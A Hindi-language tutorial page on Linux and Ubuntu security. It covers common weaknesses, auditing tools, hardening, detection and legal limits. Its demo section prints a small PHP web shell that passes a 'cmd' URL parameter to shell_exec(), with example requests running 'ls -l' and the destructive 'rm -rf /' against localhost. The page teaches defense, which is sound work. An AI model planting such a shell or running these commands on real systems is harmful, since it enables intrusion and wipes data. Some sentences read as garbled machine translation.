लिनक्स हैकिंग ट्यूटोरियल: Ubuntu कमांड और उपकरण

लिनक्स सबसे व्यापक रूप से उपयोग किया जाने वाला सर्वर ऑपरेटिंग सिस्टम है, विशेष रूप से वेब सर्वरों के लिए। यह ओपन सोर्स है, जिसका अर्थ है कि कोई भी इसका सोर्स कोड पढ़ सकता है। यह पारदर्शिता दोनों तरह से काम करती है: रखरखावकर्ता इसका उपयोग खामियों को जल्दी से खोजने और ठीक करने के लिए करते हैं, जबकि हमलावर कमजोरियों का फायदा उठाने के लिए उसी कोड का अध्ययन करते हैं। लिनक्स हैकिंग उन कमजोरियों का फायदा उठाकर सिस्टम तक अनधिकृत पहुंच प्राप्त करने की प्रक्रिया है।

नीचे दिए गए अनुभागों में बताया गया है कि लिनक्स क्या है, इसे प्रभावित करने वाली सुरक्षा कमजोरियाँ क्या हैं, और इसके साथ हैकिंग का व्यावहारिक अनुभव कैसा होता है। Ubuntuऔर आप इसके लिए क्या जवाबी उपाय कर सकते हैं।

लिनक्स पर त्वरित नोट

लिनक्स एक ओपन सोर्स ऑपरेटिंग सिस्टम है। इस पर कई डिस्ट्रीब्यूशन आधारित हैं, जिनमें शामिल हैं: Red Hat Enterprise Linuxफेडोरा, डेबियन और Ubuntuक्योंकि सोर्स कोड प्रकाशित है, इसलिए शोधकर्ता, विक्रेता और हमलावर सभी इसकी जांच कर सकते हैं। हमलावर इस पहुंच का उपयोग करके कमजोरियों की तलाश करते हैं, जबकि इसी पारदर्शिता से मेंटेनर्स बंद प्लेटफॉर्म की तुलना में तेजी से फिक्स जारी कर पाते हैं। लिनक्स सर्वर, डेस्कटॉप, टैबलेट या मोबाइल डिवाइस ऑपरेटिंग सिस्टम के रूप में चलता है।

लिनक्स प्रोग्राम को ग्राफिकल इंटरफेस या कमांड लाइन के माध्यम से संचालित किया जा सकता है। कमांड लाइन से काम करना ग्राफिकल यूजर इंटरफेस (GUI) पर क्लिक करने की तुलना में तेज़ और अधिक सटीक होता है, यही कारण है कि लिनक्स जैसे वितरणों पर काम करने वाले सुरक्षा परीक्षक इसका उपयोग करते हैं। Kali Linux वे अपना लगभग सारा समय टर्मिनल में बिताते हैं। इसलिए बुनियादी कमांड जानना एक व्यावहारिक आवश्यकता है।

इसका संदर्भ लें लिनक्स ट्यूटोरियल बुनियादी बातों के लिए, और Kali Linux ट्यूटोरियल उन पर आधारित सुरक्षा-केंद्रित वितरण के लिए।

लिनक्स की सामान्य सुरक्षा कमजोरियाँ और आक्रमण के तरीके

लिनक्स पर हमले शायद ही कभी असामान्य एक्सप्लॉइट्स पर निर्भर करते हैं। 2025 और 2026 में प्रकाशित टेलीमेट्री से पता चलता है कि अधिकांश उल्लंघन tracबार-बार सामने आने वाली कुछ कमजोरियों पर ध्यान दें, और उन्हें जानने से आपको पता चलता है कि रक्षात्मक प्रयास सबसे पहले कहाँ खर्च करने हैं।

• कमजोर या पुन: उपयोग किए गए एसएसएच क्रेडेंशियल इंटरनेट से जुड़े एसएसएच के खिलाफ ब्रूट-फोर्स और क्रेडेंशियल-स्टफिंग के प्रयास लिनक्स एंडपॉइंट्स पर देखी गई अधिकांश शत्रुतापूर्ण गतिविधियों के लिए जिम्मेदार हैं।
• अनपैच किए गए कर्नेल और पैकेज दोष - लिनक्स कर्नेल टीम 2024 में एक CVE नंबरिंग अथॉरिटी बन गई, और रिपोर्ट किए गए कर्नेल CVE की संख्या 2023 में लगभग 290 से बढ़कर अगले वर्ष 3,500 से अधिक हो गई, इसलिए पैच बैकलॉग तेजी से जमा हो जाता है।
• गलत कॉन्फ़िगरेशन — डिफ़ॉल्ट खाते, अनावश्यक डेमन, विश्व-लेखनीय फ़ाइलें और अनुमेय सूडो नियम ऐसे विशेषाधिकार प्रदान करते हैं जिन्हें प्राप्त करने के लिए किसी भी शोषण की आवश्यकता नहीं थी।
• असुरक्षित वेब अनुप्रयोग — खामियां जैसे कि एसक्यूएल इंजेक्षन क्रॉस-साइट स्क्रिप्टिंग की मदद से हमलावर ऑपरेटिंग सिस्टम के बजाय एप्लिकेशन के माध्यम से सर्वर तक पहुंच सकता है। वेब शेल, प्रभावित लिनक्स सर्वरों पर पाया जाने वाला सबसे आम दुर्भावनापूर्ण उपकरण है।
• विशेषाधिकार वृद्धि बग — स्थानीय खामियां जो एक सीमित खाते को रूट एक्सेस में बदल देती हैं। इनमें से कुछ खामियां खुलासा होने से पहले एक दशक से अधिक समय तक कर्नेल में बिना पता चले मौजूद रहीं।
• आपूर्ति श्रृंखला और निर्भरता जोखिम — थर्ड-पार्टी पैकेज, लैंग्वेज लाइब्रेरी और कंटेनर इमेज ऐसे कोड को शामिल करते हैं जिसकी समीक्षा ऑपरेटिंग टीम के किसी भी सदस्य ने नहीं की है।

इनमें से किसी में भी हमलावर को लिनक्स को ही हराने की आवश्यकता नहीं होती है। 2025 में हुए घुसपैठ के विश्लेषण से पता चला कि लगभग चार में से पांच घुसपैठ में किसी भी प्रकार का मैलवेयर शामिल नहीं था, बल्कि ये गलत कॉन्फ़िगरेशन और चोरी किए गए क्रेडेंशियल्स पर निर्भर थे।

लिनक्स हैकिंग टूल्स

सुरक्षा परीक्षक और सिस्टम प्रशासक एक ही तरह के स्कैनर का इस्तेमाल करते हैं: एक तरफ हमलावर से पहले कमजोरियों का पता लगाने के लिए, दूसरी तरफ यह पुष्टि करने के लिए कि किए गए सुधार कारगर हैं। नीचे दिए गए उपकरण लिनक्स होस्ट का ऑडिट करने के लिए सबसे अधिक उपयोग किए जाते हैं।

यह सूची संपूर्ण नहीं है; यह ऑडिटिंग के लिए उपलब्ध उपकरणों का एक संक्षिप्त विवरण देती है। Ubuntu और अन्य लिनक्स सिस्टम। पुराने गाइड अभी भी SARA, सिक्योरिटी ऑडिटर के रिसर्च असिस्टेंट की सलाह देते हैं, लेकिन इसका अंतिम संस्करण 2009 का है और इसकी प्रोजेक्ट साइट ऑफ़लाइन है, इसलिए Lynis और OpenVAS ये बनाए रखे गए विकल्प हैं।

हैकिंग गतिविधि: हैक करें Ubuntu PHP का उपयोग कर लिनक्स सिस्टम

इस व्यावहारिक परिदृश्य में, हम देखेंगे कि वेब एप्लिकेशन के माध्यम से लिनक्स होस्ट तक कैसे पहुँचा जा सकता है, उदाहरण के तौर पर PHP का उपयोग करते हुए। किसी भी जीवित उपयोगकर्ता को लक्षित नहीं किया जा रहा है। यदि आप इसे आज़माना चाहते हैं, तो अपने कंप्यूटर पर XAMPP का लिनक्स संस्करण LAMPP स्थापित करें।

PHP इसमें ऑपरेटिंग सिस्टम कमांड चलाने के लिए दो फ़ंक्शन दिए गए हैं: exec() और shell_exec()। exec() फ़ंक्शन कमांड आउटपुट की अंतिम पंक्ति लौटाता है, जबकि shell_exec() कमांड का पूरा परिणाम एक स्ट्रिंग के रूप में लौटाता है।

उदाहरण के तौर पर, मान लीजिए कि एक हमलावर किसी वेब सर्वर पर निम्नलिखित फ़ाइल अपलोड करने में सफल हो जाता है।

<?php

$cmd = isset($_GET['cmd']) ? $_GET['cmd'] : 'ls -l';

echo "executing shell command:-> $cmd</br>";

$output = shell_exec($cmd);

echo "<pre>$output</pre>";

?>

यहाँ,

ऊपर दी गई स्क्रिप्ट cmd नामक GET वेरिएबल से कमांड लेती है। इस कमांड को shell_exec() का उपयोग करके निष्पादित किया जाता है और परिणाम ब्राउज़र में प्रदर्शित होता है।

ऊपर दिए गए कोड का दुरुपयोग निम्नलिखित तरीकों से किया जा सकता है। URL

http://localhost/cp/konsole.php?cmd=ls%20-l

यहाँ,

• “…konsole.php?cmd=ls%20-l” cmd वेरिएबल को ls –l मान असाइन करता है।

आदेश पर Ubuntu इसलिए सर्वर को इस प्रकार निष्पादित किया जाता है

shell_exec('ls -l') ;

उपरोक्त कोड को वेब सर्वर पर चलाने से निम्नलिखित के समान परिणाम प्राप्त होता है।

आउटपुट में केवल वर्तमान निर्देशिका में मौजूद फ़ाइलें और उनकी अनुमतियाँ प्रदर्शित होती हैं।

अब मान लीजिए कि हमलावर इसके बजाय निम्नलिखित कमांड पास करता है।

rm -rf /

यहाँ,

• “rm” कमांड फाइलों को हटाता है।
• “rf” कमांड rm कमांड को रिकर्सिव मोड में चलाता है, जिससे सभी फोल्डर और फाइलें डिलीट हो जाती हैं।
• “/” कमांड को रूट डायरेक्टरी से डिलीट करना शुरू करने का निर्देश देता है।

हमला URL यह कुछ इस तरह दिखेगा।

http://localhost/cp/konsole.php?cmd=rm%20-rf%20/

इसलिए, एक अमान्य पैरामीटर ही हमलावर को वेब-सर्वर खाते के सभी विशेषाधिकार सौंपने के लिए पर्याप्त है। आगे के दो खंड इसे होने से रोकने और रोकथाम विफल होने पर इसे पकड़ने के लिए हैं।

लिनक्स हैकिंग से कैसे बचें

लिनक्स हैकिंग ऑपरेटिंग सिस्टम और उस पर चलने वाले सॉफ़्टवेयर में मौजूद कमज़ोरियों का फ़ायदा उठाती है। कोई संगठन ऊपर वर्णित अधिकांश कमज़ोरियों को दूर करने के लिए निम्नलिखित उपायों को एक साथ लागू कर सकता है।

• पैच प्रबंधन पैच उन बग्स को ठीक करते हैं जिनका फायदा हमलावर सिस्टम को हैक करने के लिए उठाते हैं। एक निर्धारित नीति यह सुनिश्चित करती है कि प्रासंगिक अपडेट तुरंत लागू किए जाएं, न कि तब जब किसी को याद आए।
• उचित OS कॉन्फ़िगरेशन — निष्क्रिय उपयोगकर्ता खातों और अनावश्यक डेमन्स को निष्क्रिय करें। डिफ़ॉल्ट उपयोगकर्ता नाम, साझा एप्लिकेशन पासवर्ड और डिफ़ॉल्ट पोर्ट नंबर सहित डिफ़ॉल्ट सेटिंग्स बदलें।
• एसएसएच सुरक्षा रूट लॉगिन और पासवर्ड प्रमाणीकरण को अक्षम करें, केवल नामित उपयोगकर्ताओं या समूहों को अनुमति दें, और प्रमाणीकरण पुनः प्रयासों की संख्या सीमित करें। इससे लिनक्स पर सबसे अधिक हमले झेलने वाले प्रवेश द्वार को बंद किया जा सकेगा।
• सबसे कम विशेषाधिकार — खातों और सेवाओं को केवल वही अधिकार दें जिनकी उन्हें आवश्यकता है, और sudo को व्यापक प्रशासनिक पहुंच के बजाय विशिष्ट आदेशों तक सीमित रखें।
• अनिवार्य पहुँच नियंत्रण — SELinux (रेड हैट परिवार) या AppArmor (डेबियन और Ubuntu) प्रवर्तन मोड में ताकि समझौता की गई सेवा सिस्टम के शेष भाग तक न पहुंच सके।
• इनपुट सत्यापन ऊपर दिया गया उदाहरण केवल इसलिए काम करता है क्योंकि अनुरोध डेटा एक शेल फ़ंक्शन तक पहुँचता है। exec() या shell_exec() में कभी भी उपयोगकर्ता इनपुट न दें।
• फ़ायरवॉल और विभाजन — किसी सेवा को वास्तव में जिन पोर्ट्स की आवश्यकता होती है, उन्हें ही प्रदर्शित करें, इसके लिए एक फ़ायरवॉल और नेटवर्क सेगमेंटेशन का उपयोग करके यह सीमित किया जाता है कि कोई प्रभावित होस्ट किन क्षेत्रों तक पहुंच सकता है।
• निर्देश पहचान तंत्र ऐसे उपकरणों का उपयोग सिस्टम तक अनधिकृत पहुंच का पता लगाने के लिए किया जा सकता है, और कुछ उपकरण इस प्रयास को रोक भी सकते हैं।
• परीक्षण किए गए बैकअप — ऑफ़लाइन, पुनर्स्थापित करने योग्य बैकअप उपरोक्त जैसे विनाशकारी कमांड को स्थायी नुकसान के बजाय एक व्यवधान में बदल देते हैं।

किसी असुरक्षित लिनक्स सिस्टम का पता कैसे लगाएं

रोकथाम अंततः विफल हो जाती है, इसलिए दूसरा प्रश्न यह है कि आप कितनी जल्दी इसका पता लगा पाएंगे। लिनक्स पर पता लगाना किसी घटना के बाद नहीं, बल्कि उससे पहले सही सबूत इकट्ठा करने पर निर्भर करता है।

• ऑडिट लॉगिंग — कर्नेल ऑडिट फ्रेमवर्क, ऑडिटडी, विशेषाधिकार उपयोग, फ़ाइल एक्सेस और सिस्टम कॉल को ऐसे प्रारूप में रिकॉर्ड करता है जिसे किसी भी असुरक्षित प्रक्रिया द्वारा चुपचाप पुन: नहीं लिखा जा सकता है। इन लॉग्स को होस्ट से बाहर एक केंद्रीय संग्राहक को अग्रेषित करें।
• प्रमाणीकरण लॉग /var/log/auth.log या /var/log/secure में लगातार कई असफलताओं के बाद एक बार सफलता मिलना ही क्लासिक ब्रूट-फोर्स सिग्नेचर है।
• अप्रत्याशित प्रक्रियाएं और संबंध — एक ऐसी श्रवण सेवा या आउटबाउंड कनेक्शन जिसका कोई हिसाब नहीं दे सकता, उसकी तुरंत जांच होनी चाहिए।
• फ़ाइल अखंडता निगरानी — ऐसे उपकरण जो सिस्टम बाइनरी और कॉन्फ़िगरेशन फ़ाइलों को हैश करते हैं और उन फ़ाइलों में बदलावों को चिह्नित करते हैं जिनमें कभी बदलाव नहीं होना चाहिए।
• निर्धारित कार्य और स्टार्टअप आइटम — निरंतरता आमतौर पर क्रॉन जॉब्स, सिस्टमडी यूनिट्स या शेल प्रोफाइल स्क्रिप्ट्स में होती है।
• नए या संशोधित खाते — अपरिचित उपयोगकर्ताओं, UID 0 वाले किसी भी दूसरे खाते और किसी ने भी जो SSH कुंजी नहीं जोड़ी है, उनकी तलाश करें।
• वेब-सर्वर निर्देशिकाएँ क्योंकि वेब शेल लिनक्स सर्वरों पर पाई जाने वाली सबसे आम दुर्भावनापूर्ण फाइल है, इसलिए वेब रूट के अंतर्गत अप्रत्याशित स्क्रिप्ट फाइलों पर विशेष ध्यान देने की आवश्यकता है।
• अनुसूचित लेखापरीक्षा — Lynis जैसे होस्ट ऑडिटिंग टूल को एक निर्धारित समय पर चलाएं और प्रत्येक रिपोर्ट को एक बार के अभ्यास के बजाय कार्य सूची के रूप में मानें।

यदि आपको किसी प्रकार की गड़बड़ी का सबूत मिलता है, तो होस्ट को अलग कर दें, लॉग और डिस्क इमेज को सुरक्षित रखें, कुछ भी बदलने से पहले, और चल रहे सिस्टम को साफ करने की कोशिश करने के बजाय, ज्ञात-अच्छी मीडिया से सिस्टम को फिर से बनाएं। इस कार्य के साक्ष्य-प्रबंधन पक्ष को विस्तार से बताया गया है। डिजिटल फोरेंसिक.

लिनक्स हैकिंग की कानूनी और नैतिक सीमाएँ

इस पृष्ठ पर दी गई प्रत्येक तकनीक का प्रयोग आपके स्वामित्व वाले सिस्टम या परीक्षण के लिए लिखित अनुमति प्राप्त सिस्टम पर करना वैध है, जबकि लगभग अन्य सभी स्थानों पर यह अवैध है। उपरोक्त अभ्यास जानबूझकर इसी कारण से स्थानीय इंस्टॉलेशन पर चलाया गया है।

• लिखित प्राधिकरण एक हस्ताक्षरित कार्यक्षेत्र, एक सहमत परीक्षण अवधि और एक नामित संपर्क व्यक्ति ही एक भेदन परीक्षण को अपराध से अलग करते हैं। मौखिक स्वीकृति पर्याप्त नहीं है।
• दायरे में रहें — सूचीबद्ध न किए गए होस्ट, एड्रेस रेंज और तकनीकें अनुमत नहीं हैं, भले ही वे पहुंच योग्य हों।
• डेटा को सावधानीपूर्वक संभालें — परीक्षण के दौरान जुटाए गए साक्ष्यों में अभी भी वास्तविक व्यक्तिगत डेटा होता है और इसे सुरक्षित रूप से संग्रहीत किया जाना चाहिए और परीक्षण के बाद नष्ट कर दिया जाना चाहिए।
• जिम्मेदारी से रिपोर्ट करें — जांच के निष्कर्षों का खुलासा मालिक को करें और कुछ भी प्रकाशित करने से पहले सुधार के लिए समय दें।

कानूनी जोखिम वास्तविक है: कंप्यूटर सिस्टम तक अनधिकृत पहुंच अमेरिकी कंप्यूटर धोखाधड़ी और दुरुपयोग अधिनियम और यूके कंप्यूटर दुरुपयोग अधिनियम जैसे कानूनों के तहत एक आपराधिक अपराध है। यदि आप इन कौशलों पर अपना करियर बनाना चाहते हैं, तो एक मान्यता प्राप्त मार्ग अपनाएं — एक सुरक्षा प्रमाणन साथ ही, आपके पास एक ऐसी लैब होगी जिसका आप खुद मालिक होंगे, न कि किसी और का सर्वर।

अक्सर पूछे जाने वाले प्रश्न